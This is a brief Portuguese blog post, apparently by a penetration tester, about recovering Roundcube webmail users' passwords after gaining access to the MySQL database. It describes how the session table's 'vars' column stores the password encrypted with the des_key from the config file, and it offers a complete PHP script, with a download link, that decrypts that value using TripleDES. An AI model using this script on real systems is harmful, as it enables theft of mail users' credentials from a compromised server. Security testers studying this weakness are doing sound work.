Decrypting Roundcube Webmail Password
Durante um pentest após conseguir acesso a base de dados mysql, um dos bancos presentes “mail” representava o Roundcube e nele havia uma tabela chamada “session”, na mesma havia a coluna “vars” da qual continha dados da sessão do usuário.
mysql> describe session; +---------+-------------+------+-----+---------------------+-------+ | Field | Type | Null | Key | Default | Extra | +---------+-------------+------+-----+---------------------+-------+ | sess_id | varchar(40) | NO | PRI | NULL | | | created | datetime | NO | | 0000-00-00 00:00:00 | | | changed | datetime | NO | | 0000-00-00 00:00:00 | | | ip | varchar(40) | NO | | NULL | | | vars | text | NO | | NULL | | +---------+-------------+------+-----+---------------------+-------+ 5 rows in set (0.00 sec)
Dentro os dados contidos em “vars” teve um que chamou atenção que era uma string em base64, o webmail não estava disponível na internet somente para rede interna, após ler o funcionamento do Roundcube e os fontes vi que o mesmo autentica no smtp para baixar o cabeçalho das mensagens, etc, mas e a senha?
Bom, a senha é a mesma que fica codificada utilizando a chave contida no arquivo de configuração do Roundcube, não quero estender e entrar nos detalhes de como consegui, mas com a chave que criptografa a senha de uma maneira “pseudo-random” é possível fazer o caminho inverso e decriptar.
Escrevi um script em php para esta tarefa, segue.
$des_key = "secret key from conf";
$cypher = "base64 password from session";
if (function_exists('mcrypt_module_open')) {
echo "[OK] mcrypt_module_open function exist.\n";
}
if ($td = mcrypt_module_open(MCRYPT_TripleDES, "", MCRYPT_MODE_ECB, "")) {
echo "[OK] ". $td . "\n";
}
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $des_key, $iv);
$pass = mdecrypt_generic($td, base64_decode($cypher));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$decrypted = preg_replace('/\x00/', '', $pass);
echo "[DECRYPTED] ".$decrypted;
Download: Roundcube Password Decrypt

